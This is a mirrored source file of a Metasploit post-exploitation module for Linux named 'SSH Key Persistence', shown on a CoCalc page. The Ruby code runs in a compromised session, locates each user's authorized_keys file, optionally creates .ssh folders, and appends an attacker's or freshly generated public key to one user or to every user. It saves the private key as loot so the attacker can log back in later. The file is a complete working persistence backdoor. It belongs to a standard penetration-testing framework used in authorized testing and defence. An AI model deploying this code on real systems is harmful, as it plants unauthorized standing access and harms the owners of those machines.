CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/manage/sshkey_persistence.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sshkey'
7
8
class MetasploitModule < Msf::Post
9
Rank = ExcellentRanking
10
11
include Msf::Post::File
12
include Msf::Post::Unix
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'SSH Key Persistence',
19
'Description' => %q{
20
This module will add an SSH key to a specified user (or all), to allow
21
remote login via SSH at any time.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'h00die <[email protected]>'
26
],
27
'Platform' => [ 'linux' ],
28
'SessionTypes' => [ 'meterpreter', 'shell' ],
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
stdapi_fs_separator
33
]
34
}
35
}
36
)
37
)
38
39
register_options(
40
[
41
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
42
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
43
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]),
44
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
45
], self.class
46
)
47
end
48
49
def run
50
if session.type == 'meterpreter'
51
sep = session.fs.file.separator
52
else
53
# Guess, but it's probably right
54
sep = '/'
55
end
56
print_status('Checking SSH Permissions')
57
sshd_config = read_file(datastore['SSHD_CONFIG'])
58
/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
59
if pub_key && pub_key == 'no'
60
print_error('Pubkey Authentication disabled')
61
elsif pub_key
62
vprint_good("Pubkey set to #{pub_key}")
63
end
64
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
65
if auth_key_file
66
auth_key_file = auth_key_file.gsub('%h', '')
67
auth_key_file = auth_key_file.gsub('%%', '%')
68
if auth_key_file.start_with? '/'
69
auth_key_file = auth_key_file[1..]
70
end
71
else
72
auth_key_file = '.ssh/authorized_keys'
73
end
74
print_status("Authorized Keys File: #{auth_key_file}")
75
76
auth_key_folder = auth_key_file.split('/')[0...-1].join('/')
77
auth_key_file = auth_key_file.split('/')[-1]
78
if datastore['USERNAME'].nil?
79
print_status("Finding #{auth_key_folder} directories")
80
paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" }
81
else
82
if datastore['USERNAME'] == 'root'
83
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
84
else
85
paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"]
86
end
87
vprint_status("Added User SSH Path: #{paths.first}")
88
end
89
90
if datastore['CREATESSHFOLDER'] == true
91
vprint_status("Attempting to create ssh folders that don't exist")
92
paths.each do |p|
93
unless directory?(p)
94
print_status("Creating #{p} folder")
95
cmd_exec("mkdir -m 700 -p #{p}")
96
end
97
end
98
end
99
100
paths = paths.select { |d| directory?(d) }
101
if paths.nil? || paths.empty?
102
print_error("No users found with a #{auth_key_folder} directory")
103
return
104
end
105
write_key(paths, auth_key_file, sep)
106
end
107
108
def write_key(paths, auth_key_file, sep)
109
if datastore['PUBKEY'].nil?
110
key = SSHKey.generate
111
our_pub_key = key.ssh_public_key
112
loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
113
print_good("Storing new private key as #{loot_path}")
114
else
115
our_pub_key = ::File.read(datastore['PUBKEY'])
116
end
117
paths.each do |path|
118
path.chomp!
119
authorized_keys = "#{path}/#{auth_key_file}"
120
print_status("Adding key to #{authorized_keys}")
121
append_file(authorized_keys, "\n#{our_pub_key}")
122
print_good('Key Added')
123
next unless datastore['PUBKEY'].nil?
124
125
path_array = path.split(sep)
126
path_array.pop
127
user = path_array.pop
128
credential_data = {
129
origin_type: :session,
130
session_id: session_db_id,
131
post_reference_name: refname,
132
private_type: :ssh_key,
133
private_data: key.private_key.to_s,
134
username: user,
135
workspace_id: myworkspace_id
136
}
137
138
create_credential(credential_data)
139
end
140
end
141
end
142
143